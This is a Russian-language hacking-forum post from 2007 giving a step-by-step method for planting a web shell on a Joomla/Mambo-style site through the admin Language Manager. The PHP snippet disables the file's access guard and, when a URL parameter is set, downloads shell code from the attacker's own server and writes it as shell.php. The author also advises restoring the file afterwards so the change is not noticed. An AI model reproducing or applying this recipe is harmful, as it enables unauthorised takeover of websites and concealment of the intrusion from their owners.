Показать сообщение отдельно

  #8  
Старый 08.12.2007, 01:02
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Вот тебе способ (как раз сегодня так шелл залил + только что на локалке проверил еще разок (на новой версии)):

заходишь в админку Language Manager выбираешь файл который будешь редактировать, к примеру English, щелка по нему попадаешь в менюшку с редактированием в ней есть путь до файла, к примеру:

z:/home/test1.ru/www/language/english.php

он тебе пригодится, точнее его часть, теперь сам файл, там может быть защита от выполнения без инклуда (если защиты нет то просто дописываем пару строчек):

PHP код:
// no direct access
defined( '_VALID_MOS' ) or die( 'Restricted access' ); 
Экранируем эту строчку и дописываем подарок:

PHP код:
if($HTTP_GET_VARS['a']==1) 
{ 
$file = file('http://адрес твоего сайта с шеллом/shell.txt'); 
$file2 = fopen("shell.php", "w"); // здесь shell.php имя твоего шелла - который будет создан в результате работы скрипта
for ($i = 0; $i < count($file); $i++) 
{ 
fputs($file2, $file[$i]); 
} 
fclose($file2); 
} 

// no direct access
//defined( '_VALID_MOS' ) or die( 'Restricted access' ); 
Дальше переходим по линке:

http://test1.ru/language/english.php?a=1

И получаем шелл:

http://test1.ru/language/shell.php

P.S. можно конечно впихнуть шелл и в редактируемый файл - но палевно будет смотреться, а так залил шелл, вернул все обратно и все гуд.

Последний раз редактировалось Grey; 08.12.2007 в 01:05..
 
Ответить с цитированием